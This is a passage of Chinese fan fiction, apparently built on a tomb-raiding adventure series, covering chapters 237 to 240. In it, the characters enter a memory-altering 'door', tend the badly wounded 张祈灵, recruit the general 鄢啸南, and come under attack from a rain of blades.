“好，那我说一下最重要的一点。”衍卜寸吸了一口气，才勉强压制住疼痛，继续说道，“进入门里不只是物质化的人会受到影响，衍家人和普通人也会受到影响，更简单来说，原本就处于门内的人，再次进入就会忘记外面的事物，只保留在门的内部的记忆，而外族人进入门里则恰恰相反，出来以后，就不会记得门内的事，我觉得这是为了防止外族人将交易的秘密带出去。” “祈也是这样？”黑瞎子这么问着，又掂了掂手里头没几两肉的张祈灵。 衍卜寸摇了摇头，但随即又点着头，“他进入会想起门内的记忆，但出来以后，也会和外族人一样遗忘掉门内的事物，但这并不是它的影响，我更倾向于，是阿祈本身的逆行性遗忘症造成的结果，所以他的存在是最特别的那一个。” “还有别的吗？”吴峫认真的记着笔记。 衍卜寸想了想，“我之所以不担心现在的身体受损，是因为进入门内，我的躯壳也会成为当时在门里的状态。” “简单来说，就是会缩小。”一直低着头，像是并不存在的清如，竟然回答了这个问题。 毕竟也是亲眼看过衍卜寸，由小重新长到大的时刻的人，她清楚这件事也不奇怪，包括后面的衍卜寸也交代了这些事。 只是，衍卜寸没有想到她还能有力气说这些，因为与它交易过的人，多多少少都出现了一些问题，朝旭的身体日渐溃败，鄢啸南的永生折磨和异样的眼睛，以及吴峫被青铜母铃选中后产生的肺部疾病。 不过她既然不想说，衍卜寸也不会问，她心底里有考量，而自己也只不过算个同乡人，就算年少时同甘共苦的交情，也就是几张面饼而已，她现在是衍清如，不是曾经那般单纯的小六了，衍卜寸没资格说。 所以，衍卜寸想了想，并没有追问她，只是顺着清如的话补充道，“不止是我变小，曾经进过门里的人，都会恢复到那个时期的模样，所以，阿祈估计会一直处于重伤状态，到时候你们护好他。” “那你呢？”解雨臣怎么也想不出来，一个在门里变成孩子的人，怎么会拥有屠神的能力…… 衍卜寸转过头，红色的眸子转了转，才高深莫测的回答道，“不用担心的，其实，我会变成三个。” 他这话，让解雨臣当场懵了下，还来不及思量，解雨臣就听见身旁的吴峫在笔记上，摸着黑，快速比比划划完立刻答道： “因为，小寸，衍卜寸，怪怪在那个时期，是三个不同体，小寸是幼年体，衍卜寸是青年，而怪怪则是何罗鱼的模样，如果，是以这三种力量去对抗它，再加上我们所有人的武力攻击，应该能做到杀死它这一点。” 第237章 我是张祈灵…… 等衍卜寸交代好一切的事宜后，黑瞎子也清楚门内的危险了，所以，他自然无法在驮着衍卜寸的情况下，还抱着张祈灵来回的跑，所以，阿祈得交给兄弟来看着才行。 在短瞬的思考后，黑瞎子转过身，顺便将青铜铃挂在了自己皮的拉锁环上，然后吆喝了一声，“胖子，来搭把手！” 处于后方的胖子，刚钻过来，就见吴峫率先一步窜到了黑瞎子的面前，他已然张开双臂，做好了从黑瞎子的手里头捞人的准备。 但黑瞎子的眸子打量了一下吴峫，后动作迅速，完全没有任何的迟疑的，只将张祈灵交付到了慢半拍，从尸蟞包围下才挤出来的胖子手里，并对着吴峫解释着，“徒儿，你才康复不久，就让胖子背着人吧，有小哥和花儿爷护着你们，放心就好了。” 小哥接收到黑瞎子话语里的意思，于是将吴峫悬在一半的手给按回了他自己的身侧，现在没办法扯什么兄弟情深，而且无论是在帮助哪个兄弟，也得率先考虑自己的自身情况，是否在承受范围内，在这里最清楚吴峫性格的解雨臣，也捏了一下吴峫的肩膀，示意他冷静一些。 也许过去的那些伤痛，需要吴峫用往后余生来弥补，但不是现在，因为青铜母铃离体后，他的咳病刚恢复一些，虽然经不起什么大折腾，更别提着背着人来回跑了。 在一旁的胖子，将自己的包甩了下来，挂在了张祈灵的肩膀处，然后他把人给驼了起来。 直到胖子彻底起身的那一刻，才张祈灵比他所想的还要轻，掂量在背上的时候，很难相信那是一个成年男性的体重。 而吴峫还在一直担忧的看着张祈灵。 胖子看到吴峫的视线丝毫没有挪移的动向，于是忙扯了一个笑脸，示意对方不要担心，并将对祈灵小兄弟的增肥计划，在心里给提上了日程。 “放心，这人我肯定背的好好的，丢了什么小宝贝都不会丢了这个大宝贝的。”胖子咧了咧嘴，半开着玩笑，将手握紧了张祈灵感觉没有多少肉的大腿，其实还是能够感受到一些肌肉线条的，只不过还是太瘦了。 吴峫花了半分钟，终于接受了自己病入膏肓的身体，目前还需要静养一段时间的事实。 于是他不再吭声，只瑟缩了一下指尖，而他的指节在不经意间，刮蹭到了小哥的掌心，这样的温度，就让他突然想起了在多年以前，张祈灵向自己伸来的那一只沾有麒麟血的手。 这半辈子，恍若一梦。 黑瞎子偏头看了一眼身后的那群人，青铜母铃在他的胸口处发出了耀眼的光芒，照亮了兄弟们有些脏污和疲惫的脸，同时也惹得尸蟞和血尸开始四散逃亡。 “准备好了吗？”黑瞎子这么问道，歪了歪头，动作虽然是俏皮的，但那常年挂笑的下半张脸，却没有带着他标准化的笑容，而是在说完的那一刻，他的唇抿起时，就绷成了一条线，意外的严肃。 胖子招呼了下霍道夫往前走一些，然后便应了黑瞎子的话，“准备好了！” “可以走了。”吴峫攥紧了枪柄，将胳膊架起来，蓄势待发。 而随着黑瞎子迈步的那一刻，带起的风使得清如的卫衣帽子被吹起了一点点，衍卜寸。这个角度刚好可以看见她目前的样子，原本白净的皮肤就像是被扎碎的镜子，裂成了一块一块的斑驳，有的地方的表皮已经脱离掉了肉，斜楞楞地挂在那里，眸子亮得吓人，像是只被刮毁容的鬼在试图索命。 衍卜寸匆匆看了这一眼，清如便立刻像是要将自己的遮羞布扯下来似的，恨不得把卫衣的帽子拉到下巴处才好。 霍道夫说的观点也许是对的，被那个势力所诱惑的可怜人们，做了交易以后才不过开心半生。 而清如也只不过是换了张漂亮的脸而已，但衍卜寸却能看出她灵魂的脆弱，淡蓝色的光，储存在她岌岌可危，快要崩塌掉的躯壳里，仿佛下一刻就要随风飘零掉一样。 如果说朝旭复活向阳的代价，严重到需要付出自己的健康的话，那么清如又换了什么，才会造成这样的结果呢？ 现在没有空再想了。 因为当大家进入门里以后，就知道衍卜寸前面所说的那些事物都在重演了。 这里似乎一望无际，只有橙黄的亮。 而黑瞎子刚开始也只觉得自己的背上一轻，等扭过头去看的时候，却发现那人已经从自己的身上跳了下去。 等他回正视线的时候，却发现小巧玲珑的少年，正安静的站在所有人的面前，而他的小手还在牵着衍卜寸，两个人五官的相似程度，简直可以说是一比一的复刻。 但还来不及询问衍卜寸的状况，众人就感觉到了一阵的地动山摇，因为身为何罗鱼的怪怪，正移动着它笨重的身体，用触手一点点扒着的地面前行，搞得大家觉得自己的脚下正在打碟。 “这真的能拍电影了，简直是大成本啊！”胖子惊呼了一声，抬头看着怪怪这只庞然大物。 而怪怪似乎对闯进自己领地的这一帮人觉得好奇，所以他的触手伸下来，就那么大咧咧的开始试探，并在大家的旁边穿梭来抽过去，留下了一地的粘稠，但当他察觉这些人没有攻击想法的时候，他就俯下身去看自己身下的那两个人了。 小寸握住衍卜寸的手，两个人抬起头，眨巴着眼，甚至分配合理的，猩红到能够洞穿一切的眸子，这俩人也给彼此分了一个。 “他们不是坏人，怪怪冷静。”小寸和衍卜寸一起说着，两个人的声线混在一块，像是失真的唱片，在高低错落的稚嫩与成熟的嗓音中，让人能够品出一种不同的感觉。 但没有人率先试图和他们搭话，而让人惊叹的也不止于衍卜寸的三分身。 胖子这时候已经感觉到了背上人的滚烫，直到液体浸染了他的整个后脖颈和背部，他才知道这不是自己流的汗，而是张祈灵的血。 “霍！霍道夫，快包扎呀！！！”胖子的脸色惨白，仿佛在这一刻失血过多的是他。 霍道夫立马从衍卜寸那处移开视线，忍耐住对超自然现象好奇的心理，立刻向胖子这边转过来。 而当他抬头看清张祈灵的衣衫褴褛和血液流淌的时候，吓得他呼吸一窒，手上翻开药箱的动作也有些仓皇，解雨臣给他帮着忙，霍道夫才有时间说话，“先把他放下来，这些伤如果处理不好的话，会要命的。” 胖子立马给张祈灵卸了背包，然后将其放平在了地上，不过，他的呼吸很浅，胸膛起伏都已经看不太出来了，而且，他自己的血液已经把他全身都染的像是个破碎的红瓷偶人。 所有人都没有想到，曾经在门里待过的张祈灵，竟然会是以这样的模样去支撑下去的。 霍道夫才扒开他破到不行的衣服，却见这个人一下子睁开眼，抓住了他的手，而那力道大的完全不像是一个将死之人。 “祈灵，听话，让霍道夫给你处理一下好不好？”吴峫像哄孩子般，蹲在张祈灵的身侧，握住了他抓着霍道夫的那只手。 张祈灵的眸子，开始的时候，因为疼痛而有些混沌，但很快就因为吴峫的声音而回了神，然后，他立即松开了自己的手，不过掌心伤口涌出来的血，却给霍道夫的外套留下了一个大大的血手印。 他的眼睛不怎么会凝出歉疚这样的情绪，只能在这时候定定的看着吴峫，黑白分明的瞳眸，竟让吴峫看出了一种你怎么才来的委屈感。 “吴峫……”张祈灵的声音哑的不行，好像许久没有喝过水了一样。 胖子听着他这声嘶哑的气音，给他拧开了水，但知道张祈灵不能起身了，于是给他倒了一小瓶盖，慢慢的顺着他的嘴角喂进去。 张祈灵就着胖子的手，小口小口的喝着瓶盖里还不够鸟咂巴的水，等感觉到喉咙里的腥终于好了一些后，他才看向小哥，然后打算在自己的破兜里掏出来什么。 “我帮你，别动了。”黑瞎子不是见不得张祈灵的磨蹭样，只是害怕这个人的伤势会加重。 张祈灵感觉到自己兜里的东西被抽走以后，立刻起身扑过去要抓，却一下落到了吴峫的怀里，他央求的看向抱住自己的人，急的够呛，像个小结巴，“吴峫……他抢，抢。” 捏着那包装袋上全部都是血的饼干，黑瞎子蹙了蹙眉，但看到张祈灵的着急样，他立刻把东西放回了张祈灵的怀里。 也对，现在的张祈灵并不认识自己，如果说他能接受解雨臣的触碰，是因为吴峫的命令的话，那自己这行为，真的是张祈灵嘴里说的强行抢东西的强盗了。 吴峫安抚的抱住张祈灵，等他把饼干还给胖子以后，下一刻却见小哥也蹲了下来，小哥看着张祈灵的脸，似乎有些疑惑，甚至不由地凑近了些许。 直到，张祈灵哆嗦着手，又将自己裤兜里的那一摆斩断的衣角扯了出来，并小心翼翼地递给小哥，身旁的小哥才停止所有的动作。 这不就是记忆回到了当初的原点吗？吴峫想。 小哥拿起那衣角，攥在手里，眸子里的神色沉重，随即，他的手轻柔地抚上了张祈灵的胸膛，吴峫能够明显感受到张祈灵身体的颤抖，但他却没有排斥小哥的靠近。 在大片鲜血的叠加下，吴峫看不真切，但小哥却触及到了张祈灵心口处的伤，被何罗鱼触手所贯穿，浑身的吸盘印痕，让小哥的指尖甚至在颤抖，然后，他便说出了那隐藏在过去，被埋没掉的，他真正与张祈灵所说的第一句话，他问，“你是谁？” 张祈灵的唇角，终于抿出了一丝过于淡的笑容，不过，那完全是强撑出来的，现在他的声音，虽然仍断断续续的，但还是坚持着回答下去： “我是张祈灵……我…可以守门，你提前出去……你不想等…对吗？” 那年小哥阴兵借道，与张祈灵一起刺痛了藏匿在眼球里的它，以及被控制的怪怪，也许这间接导致怪怪逃了出去，但在这个过程中，他们二人也通过交易，获得了共享的能力。 而现在，小哥用张祈灵的眼睛，看到了漆黑眸底里充满疼惜的自己，张祈灵也从小哥的眸里，瞧到了自己身染着鲜血狼狈不堪的躯壳。 一时之间，心脏不断的轻跳着，前后的因果与被遗忘的一切，在这个危机四伏的荒芜之地，破了株过去早就应该萌发的芽，并结了个现在才饱满的果。 第238章 命运 “卟？”并不清楚发生什么事的怪怪，抬了抬自己的吸盘，有些无措的看向血腥味传来的源头。 而小寸和衍卜寸似乎也同时意识到了什么，原本事不关己，丢失了外界记忆，而保存了门内冷漠的他们，竟立刻拔腿跑了过来。 小孩和大人一起拼命的用手扒开众人，其力道大的直接让黑瞎子都感觉到自己的胳膊传来了刺痛。 张祈灵听到了这样的动静，便撑起精神，看向小哥和解雨臣还有胖子身躯合拢起来的高墙，但那后头之人却直接按住他们的肩膀，想要翻过来。 小哥眼疾手快的将小寸扯了一把，小孩的身体自然经不起这样的力道，差点就后仰着栽过去，幸得衍卜寸扶住了他的后背，才让小寸站稳脚跟，双方僵持，最先开始不乐意的是黑瞎子。 “衍卜寸你说过你是有把握的，你现在不应该对我们出手。”黑瞎子着实不知道衍卜寸那分身和他自己，在丢失掉记忆分裂以后，究竟还会不会存有一丝的良知？ 听到自己名字的衍卜寸，将停留在众人身后的打量目光，瞬间收了回来，他定定的看着面前这个家伙，但是没有对黑瞎子的意见所发脾气，他那清冷的眸子，突然含了些柔软，“我就是想看看他。” “看祈灵哥哥。”小寸扒着衍卜寸的手，眼睛也是亮闪闪的，像是在请求，但发现这样的撒娇对着衍卜寸并没有什么用后，便也将视线转向了黑瞎子。 这样猩红的眸子，像是镶在那眼窝中，配合着二人扑扇着眼睫的模样，倒让黑瞎子觉得是自己在欺负他们，僵持了几秒钟后，吴峫轻轻的碰上张祈灵的手，催促着说道，“黑瞎子，让他们过来。” 情况焦灼，吴峫根本来不及说什么玩笑的称呼，黑瞎子烦躁的挠了挠头，闪身到一旁，给他们二人放行。 所有围在张祈灵身旁的人，都在给衍卜寸和小寸空间，也许大家不懂，为什么吴峫会同意这怪物一般的衍卜寸他们的请求，但吴峫自己却清楚的很，他太懂对面二人所流露出的，情真意切的关心，这是自己这辈子都想要的眼睛，是可以肆无忌惮的对张祈灵表达喜欢的眸子。 他想看他人对张祈灵毫无保留的爱，究竟是什么样的，也好让他自己看清，自己究竟有多差劲。 衍卜寸和小寸来到了张祈灵的身旁，慢慢的蹲了下去，连庞然大物的怪怪，也在一点点的移动过来，他们看着张祈灵那苍白的脸，看向霍道夫的眼神，试图是在催促他动作能够更快一些。 但实际上，这并不是霍道夫的速度太慢，而是张祈灵的血就跟停不住的血闸一样，哪怕缝合上，也会有鲜血撑破细线，跟断弦的珠子似的圆润的滚下来。 “一个人缝不住……医生！不是说队伍里还有个医生吗？！”霍道夫这么喊着，手底下仓皇的给张祈灵加快着缝合。 解雨臣给他擦了把额头上的汗，便立即看向清如，对方回到了少女年纪，脸蛋稚嫩，正疑惑不解的眯着眼，看着他们慌乱的拆东墙补西墙的动作。 “姑娘，算我求你，帮个忙，要死人了！他不能死，他不能死的！多少钱我都出，这是我的银行卡，里面是我的养老钱，你全拿走，帮我看看我兄弟好不好……”胖子听到了霍道夫的话，连忙屁滚尿流地朝着清如跑了过去，为了那张卡将自己的包翻了个乱七八糟，叮叮咣咣掉出了一堆东西。 清如没有收下胖子的银行卡，只是脸皱巴巴的，然后歪了歪头，不解的同时又下意识安抚着，“你们这帮外族人怎么知道我是医生？闯进这里的人倒是少见的很，安心吧各位，他的情况只是看起来严重，出了门以后就没有事了， 外族人只要在外面没有死，那么进来门里也不会危及生命，顶多是一直保持这个状态而已。” 清如倒还是善解人意的说完，但耐不住好奇心，又转头问起了扎进张祈灵身边的小寸， “小寸这些人都是怎么来的你知道吗？你是怎么哄怪怪出来的？还有拽着你的这个男的又是怎么回事？而且，那个浑身是血的家伙，我看到了他身上有好多好多的线。” 她的连环追问，显然是不太清楚现在的情况，不过衍卜寸这个人她不知道倒还好说，毕竟这个时期的清如，她并未见过小寸长大后的样子，所以不理解也是正常。 但是，张祈灵身上的红线又是怎么回事？ 黑瞎子骤然回过头，用自己的这双眼睛，观察着张祈灵的状况，事实上他并没有看到什么红线，这镶嵌在眼眶里，陪伴了自己那么多年的伙伴，竟突然失了灵，于是，他狠狠抓了把脖颈后的皮肤，催促着背后灵动身，但只是将自己挠的皮肤上起了几丝血痕，而那女人一点儿动静都没有。 “我不知道他们是从哪个门来的，衍光善建出来的门真真假假的，但能够接通到这里的，应该是真的门，至于我拉着的这个人吗，我在他的身上感受到了相同的气息，而且我灵魂丢失过一部分，你又不是不知道，回来一个碎片也很正常吧。”小寸这么回复着清如的话，但视线却没有从张祈灵的身上挪走。 衍卜寸也在定定的看着眼前人，但因为熟悉在门内的清如的脑回路，于是借着给她科普的机会，也将这个问题向众人解释起来，“阿祈身上的红线并不是像衍家人的那样，以魂灵和意识所操纵，这更像是一种交织，而且，那些线还连着其他人。” “命运。”吴峫看不到他们嘴里的红线，但是脑子里却浮现出这两个字，能够连接起彼此的，不一定非要是姻缘，也可以是别的关系和感情。 而这种纽带，就被称为命运。 衍卜寸点了点头，算是与吴峫达成了共识，紧接着，他看着张祈灵缝合不了的身体，只打算给他盖着，尽量保持着体温恒定，随后，他脱下了外套，但外衣整个落在手里的时候，却感觉衣兜里沉甸甸的。 而揣着的鬼玺很快便顺着他的力道滚了出来，又像是有生命般，飞速地想要落入了吴峫的怀里，吴峫怕张祈灵被砸到脸，于是抱着人就想往旁边偏。 谁知道，小寸却趁乱钻入了吴峫的臂弯下，来了个偷梁换柱，他将张祈灵抱在了自己怀里，又一顶头，就这么成功的让鬼玺窜到了吴峫的手上。 “你们可照顾不好他，我来看着他就好，而且，清如说了，他现在只是血流得凶而已，怪怪的体液特别容易止血，让他抱在怀里裹一裹就好。”小寸冷着脸，说这毫无道理的话，像小孩子在得到自己想要的玩具后，就觉得自己的东西可以随意对待了一样。 衍卜寸也点头，毕竟小寸说的话确实没有错。 不理解的胖子，抹了把自己的鼻涕和眼泪，把散落一地的东西一个接一个塞回包里，并回怼着小寸，“不是，你把我兄弟当什么，棒棒糖吗，还让他裹一裹，你怎么不说舔一舔泡一泡呢？！” “胖子，你冷静一些，小童姥，我只问你能为你说的话负责吗？”黑瞎子放弃与那个背后灵较真，踏步走了过来，捏了捏小寸的后颈，却没有把人拎起来。 小寸和衍卜寸一起转头，齐声诚恳道，“能。” 怪怪赶来，看着小寸和衍卜寸抱着张祈灵，往自己怀里送，懵懵的接住以后，就用他保龄球一样的眼睛，细细地去瞧怀中人的眉眼。 好看、漂亮而且血也好闻。 要流口水了……不是，等等，他不能把这个人类吃掉！虽然他以前和那个长相相似的家伙，一起中伤了自己，但是自己是得听小寸的话，好好给他止血才行！毕竟自己能够从衍光善那边出来属实不容易啊，为了报答小寸，自己不能被本能的饥饿所控制。 于是，怪怪开始心无旁骛地分泌着粘液，并裹住了张祈灵的全身，但柔软的触手，却因为对怀中人下意识的恭敬而变得僵硬起来。 像忠诚的信徒，正在供奉他的神，因为不敢亵渎，并只敢在逆光中，悄悄看向神明逐渐安眠的柔和眉眼。 怪怪感觉自己的心脏在跳动，似刨除掉对食物的渴望以外，产生了另一种情愫。 第239章 他什么都算到了 鄢啸南走下去的路段，比衍卜寸他们走的要绕的多，所以他花了更多的时间才到达了那扇门前，并在正门快要合拢之前，立刻钻了进去。 毕竟谁也不知道，地面上那些变异的家伙会不会跑下来，鄢啸南放弃去找衍光善的原因，其实最主要的还是不想身体太疼，现在的断骨之痛，比起被这帮家伙五马分尸的结果，简直是非常能够忍受，于是他扳着自己的腿，一瘸一拐的往里走。 直到，他越过了金色的那些液体以后，便看到了在前面还没有前行的队伍的。 敏锐察觉到来人的小哥，偏了偏头，看向这个老人。鄢啸南不再像前面所看到的那样，只裹着那层层叠叠的厚重棉袄。 现在的他，穿着一身古朴的铠甲，身后的披风还是略显鲜艳的红，连脸上垂垮下去的皱纹，也变浅了很多，只剩眉宇间的戾气，这使得他没有皮肉遮挡的眼睛格外得明亮，连那淡色的，趋近于对现实世界感知快要失去一切能见性的异瞳，竟也发出了夺目的红光。 看到小哥扭头的吴峫和胖子，也将一直落在张祈灵身上的目光移开，在这一刻，他们才相信鄢啸南真的是那个曾经叱咤风云的将军。 “你们怎么进来的？”鄢啸南显然记忆力也回退到了过去的时候。 或许回到的，也是一切的原点，所有人都这么想。 而在这个时候，张祈灵恢复的也差不多了，黑瞎子眼疾手快的将人抱了下来，紧接着，他才转头看着鄢啸南，似乎在这时候的自己，终于是懂得了衍卜寸嘴里那么笃定能杀掉它的办法。 既然门内就是一切时间运转的开始，是因果循环里的那个因，是一颗还未生长出根系的种子，那在这里的时间流动，对他们这一方是最有利的。 鼎盛时期的鄢啸南，三体化的衍卜寸，还有保持着所有记忆兄弟们，都齐聚于此，而这场胜仗里唯一的，会被刨除在外的人，应该被供奉起来细心呵护的家伙，就只有张祈灵了。 衍卜寸算到了一切，算到了张祈灵会为吴峫的病情而下墓，其余的弟兄们也被吴峫所一整个套牢全部拉来，连自己这个闲散人员，都被衍卜寸看出了对张祈灵的心软，而义无反顾的跟下来，连鄢啸南也自己主动走入这个牢笼之中。 虽然，黑瞎子并不清楚鄢啸南会不会站在自己这一方，但小寸在这时候，给自己怀里的张祈灵搭上外套以后，已经在与鄢啸南进行着第一次交流了。 他保持着幼年的记忆，自然是能看清楚鄢啸南是谁，因为这里是自己的地盘，于是他抬了抬自己的下巴，那清冷的还未长开的眼睛，正微微眯起，“他们怎么进来的这件事，与你无关吧，而且，他是不会见你的。” 在小寸眼里，这个时间能够进来的鄢啸南，自然是来找衍光善的，不过这注定是一场空，因为他自己也感受不到这门里有衍光善的气息。 “小寸，我们没有时间说这些。”衍卜寸扯了扯小寸的手，他毕竟是以成年的身体进来过，就是从白玛那里被衍家人找到，再度培养的那一次，所以他所看到的世界以及阅历，比一直在门里的小寸时期，要多得多。 随即，衍卜寸的目光变得锐利了一些，却并没有杀意，他看着鄢啸南，只问了一句话，“鄢啸南，我只问你一句话，你诚实回答，你到底有没有后悔过？” “我弟现在活得好好的，我后悔什么！”鄢啸南这么说着，但明显底气不足，是在打脸充胖子。 吴峫懂了衍卜寸的激将法，于是往前迈了一步，在小哥的保护下，用鄢啸南所能理解的语言方式问道，“如果有真正能改变这一切后悔之事的方法，你想不想尝试？” 鄢啸南的眸子凝在吴峫的脸上，或许世间就是有那种人，眼睛里是天生带着让人信赖得澄澈的，他的瞳眸自然而然，因为与吴峫视线触及，而不可避免的颤动了一下。 而他的记忆，好像也在这一瞬间里，回到了鄢然还不是衍光善的时候。 那会儿的鄢然，会闪烁着亮亮的眼睛，弯着极好看的唇角，满脸幸福的看着自己，许着永远都不会变的诺言，“我的生命如此短暂，但我会用余生，一直喜欢哥哥！” “哥哥，我想和学堂的那些孩子一样，放纸鸢，看花灯，今夜你陪我好不好？” “我的哥哥，可是威风凛凛的大将军！特别厉害，你们这群小屁孩和我可不一样，因为你们没有全天下最好的哥哥啊！” “我爱你，爱的不是你哥哥的身份，也不是你将军的荣耀，我爱你的温度，我爱你的怀抱，我爱你的笑脸和同样爱我的神情， 鄢啸南，我的意思是，我想和你在一起，不许不应，不然，我永远都不让你进家门，你就在外面吃一辈子黄沙吧！” 鄢啸南刚想起这些甜蜜的时刻，却突然看到了鄢然被它的力量治好后，却仍缠绵病榻的样子，甚至每到夜半，他还会因为咳疾而呛了满喉咙的血。 他在自己的怀里窒息，反复挣扎过，哪怕挠破了脖颈也无法呼吸，曾经的鄢然，就那么用涣散绝望的眼神，无数次艰难地抬头强撑着。 而他眸子里头的爱，也终于在无限生命与病痛交织的缠绕下，最后汇集成了抹不去的恨意。 鄢然用这样的目光，一遍遍的控诉着自己。 ‘你为什么要救我，为什么要用你的爱来困住我，我已经这么痛苦了，为什么不让我走？我恨你，我恨你这个以自己欲望为主的疯子！！！’ 自己真的，大错特错…… “鄢啸南，回话。”衍卜寸看着鄢啸南陷在回忆里失神的样子，于是立刻开口点醒了他。 情绪化为如触电一般的心脏抽痛，让鄢啸南点了点头，“你们说的对，如果有能改变这让我后悔一切的方法，我想尝试一次。” “但你要清楚，这样的尝试并不是让你完善自己的愿望。”黑瞎子挑了挑眉，加入了劝说鄢啸南的战斗，并将对方的观念引向正途，他可不希望这老家伙又许出来什么惊天地泣鬼神的愿望。 鄢啸南听到，思量了一会儿，反问道，“那你们有什么好方法吗？” 然后大家就把衍卜寸，原先说出来的屠龙计划又给复述了一遍，好在虽然失去记忆并不影响一个人的智商，鄢啸南的理解能力非常好。 大部队开始重新行进，而黑瞎子刚踏步，他胸前的铃铛就被衍卜寸给薅走了，迎着黑瞎子不解的眼神，他解答起来： “这青铜母铃的效用，是让我们找到真正的门，但我想你们进来的那个只是第一扇而已，而这里的空间，是一种类似迷宫的结构。” 胖子听的下巴都要掉下来了，“所以你的意思是，我们只是迈出了成功的一小步。” 在前头听到这话的小寸，笑着摇了摇头，并纠正了胖子的话，“是一小小小小小步，不然你们以为一片虚无的空间里，我们住在哪里？” 这么说完以后，胖子囧着一张脸，说实话，他真的以为衍家人是在虚空里打地铺呢，跟那爱吃果冻的太空人似的。 清如也偏头看了一眼身后的人群，说道： “我们平时是不用青铜母铃的，或者更简单来说，我们这个阶级是接触不到母铃的，平日里穿梭每个地方，其实靠的都是记忆力，但你们想要找它的话，这东西就是最好的钥匙，因为青铜母铃是它创造出来的，所以自然会有感应。” 这句话，让黑瞎子瞬间想起来，曾经衍卜寸说的那句‘吴峫是进入那里的唯一办法’，但其实对方想表达的意思，应该不是具体指吴峫这个人，而是他体内的青铜母铃。 真是步步算啊，黑瞎子抱紧了张祈灵，走的步伐稳健而又迅速，原来早在一开始，衍卜寸就知道这一切的走向。 他什么都算到了。 第240章 万发齐出 刚入门，就因为转换空间，而迎来一阵震颤，甚至张祈灵都被颠醒了。 身上的疼痛仍然存在，还能感受到经过霍道夫勉强缝合以后，皮肉被簇在一起的拧劲，黑瞎子看了张祈灵一眼，怀中人木木地，侧过脸看向前方小寸和衍卜寸的身影。 “跑，跑，快跑……”张祈灵扒紧了黑瞎子的胳膊，其力道大的不像是一个已重伤的病人，而且，他语气急切的就像是在提醒什么。 黑瞎子蹙了下眉，往后撤了半步，引得其他人也退了一些。 衍卜寸和小寸的步伐也瞬间顿住了，衍卜寸的眸子闪烁着光亮，他现在属于是门里的bug，这里头的回溯规则，有一点在他身上没有体现出现，因为他在外面与小寸融合以后，使得他有一只眼睛，能够清晰感知到漆黑中的一切事物。 背后灵不出来作妖的黑瞎子，自然也不知道张祈灵是怎么看出来有危险的，他只能尽量抱着人，朝着身后的兄弟们靠拢。 也就是再移步的这一瞬间里，怪怪竟然发出了痛苦的哀嚎声，像是婴儿在啼哭一般。 张祈灵不顾一切的从黑瞎子的怀里翻了下来，踉跄着将衍卜寸和小寸全部扥了回来，也就是这刹那间，怪怪的鲜血就泼洒了下来，随即是重物开始飞速落下的声音。 小哥拽着吴峫和胖子躲着，鄢啸南不知该拉谁，于是扯着队内自己唯一记得在衍家当过差的小姑娘，跑地那叫一个快。 黑瞎子的眼睛在此刻又失灵了，他只能凭借身体的本能和耳力去判断，但刚打算拔腿将张祈灵拉回来的时候，就被解雨臣和霍道夫一左一右合力拽了一把，能够辨别出这两个人还是容易的。 毕竟前者身上香，后者药箱撞人不留手。 这一拉扯，那霍道夫手提着的箱子，可是把黑瞎子创得差点膝盖软下去，差点直接跪地上叫爷爷。 “它来了，是真的它，它发现我们的存在了！”衍卜寸这么说着，空闲的那只手，瞬间在一片漆黑中，攥住了救自己一命的张祈灵。 并在这短到一眨眼就过的时间里，他还带着小寸和张祈灵在地上滚了半圈。 怪怪被切断的触手重重落了地，张祈灵听声音，判断这距离自己则不过半米的距离，而他还能清楚的听到耳边，或者是周围，正在飞速地溜过某种东西。 张祈灵不顾疼，马上和衍卜寸还有小寸一起爬起来，身旁的声响有些大起来了，他好似回想到了什么，立刻说道，“是剑雨。” 这个情况和自己当初所经历的一样，那东西曾经为了阻止自己向内部的终点靠近，用的就是这个手段，只不过现在的作法，似乎还没那会儿的高明，这家伙竟然在一片黑暗里对大家动手！ “什么？剑雨，一片黑，什么都看不见，这他妈的怎么躲！”胖子骂着，却突然感觉自己的耳侧划过了什么东西。 好在是小哥拢着他的肩膀，吴峫下意识按着他的头，将人直往下一压才勉强躲过。 而似乎所有人的担忧，在被胖子这一句话秃噜出来以后，那东西也觉得自己的手段见不得人，于是，这空间瞬间就变亮了，但大家立刻入眼的，却是那成千上百号不规则排列的门。 而高悬在上空，大大小小的刀剑兵刃，则像架在弓弩上的箭一样，被一种莫名的力量所控制到了极限，只等着背后之人的一声令下而万发齐出。 如此庞大的冷武器，与他们这排不上号的家伙们相对，让吴峫忍不住的呼吸一滞。 他深刻感觉到了人类面对怪物的渺小。 但转瞬间，吴峫的心跳就像是感知到这种情况的危机，而疯狂的跳动起来，跟肾上腺素飙升至极致没有区别，他真的觉得自己的心脏，即将要跳出嗓子眼了，但因为调动了呼吸的剧烈吸入，而导致那心悸感噎在那里，梗得不上不下的。 而小哥则握紧了刀柄，然后接着看向了刚才擦过胖子的那支箭矢，这比起上面的那些数不清数量多少的家伙，前面落下来的那一次，真就是小打小闹的警告而已。 “跑！不能躲在门后！”小寸立即提醒。 衍卜寸接着茬，提醒道，“会被吸进去的，离那些门远一些！” 而就是这一刻，上面的冷兵器齐发，像是要将人扎穿成密集的筛子一样，张祈灵在确定刚才距离它最近的衍卜寸和小寸安全以后，才撑着力气，立刻跑回队伍里去。 所有人，如今都像是小虾米一样簇拥在一起，但是手脚动起来还是极利索的，黑瞎子哪怕看不见，但还是能够做到将那些东西全部踢走。 “你眼睛出什么问题了？”霍道夫贴在了黑瞎子的右侧面，给对方做着掩护，不过，显然他自己也忙的够呛，甚至作为医疗作用的箱子，已经被他早早抵在了头顶，而上面除了小剑外，甚至还扎了一把雪亮的菜刀。 解雨臣围在黑瞎子的另一侧，也不放心地问了一嘴，“现在的状态能撑住吗？” “没事，而且我还品出了一个规律呢。”黑瞎子刚说完，便猛踢走一个刀，但却还是被锋利的刀刃，给刮下了他的进口军靴的前端和薄薄一层的袜子，这让他大咧咧的，一下子就露出了右脚的五根脚趾。 解雨臣是真不想问他品出啥规律了，因为下一刻，黑瞎子就叫的比那断手哭唧唧的怪怪声音还要大，像只冤魂，“他妈的，爷的德国进口牛皮靴！还有我四十块钱买的袜子！！！” 嗯…… 他对自己真好，袜子还买四十块钱的用！ 而现在，黑瞎子的脚趾灵动的跟弹钢琴似的，在动了一轮后，又靠灵敏的听力，在危险来临之前，敏锐地往后大撤了一步，而新来的一根箭矢，就那么精确的落在了他刚才右脚所悬的位置上。 这引得黑瞎子听到箭头的落点后，又忍不住的骂出了一个脏字，“草！” 而张祈灵的伤，似乎并没有太影响他的行动，也许是因为这样大大小小的伤痛，实在是习惯了，但也可能，仅仅只是他不在乎罢了。 